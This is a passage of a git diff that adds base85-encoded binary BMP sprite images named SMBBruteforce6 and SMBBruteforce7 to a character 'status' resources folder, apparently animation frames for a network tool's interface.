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 VP%z&^`Mi@2|{(pP^0lxqM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce6.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c7b26b5b06e683e2312d59826244541d48104536 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce7.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..474c3150ad0364f8a6df95ea22514c07dd0718ce GIT binary patch literal 18462 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 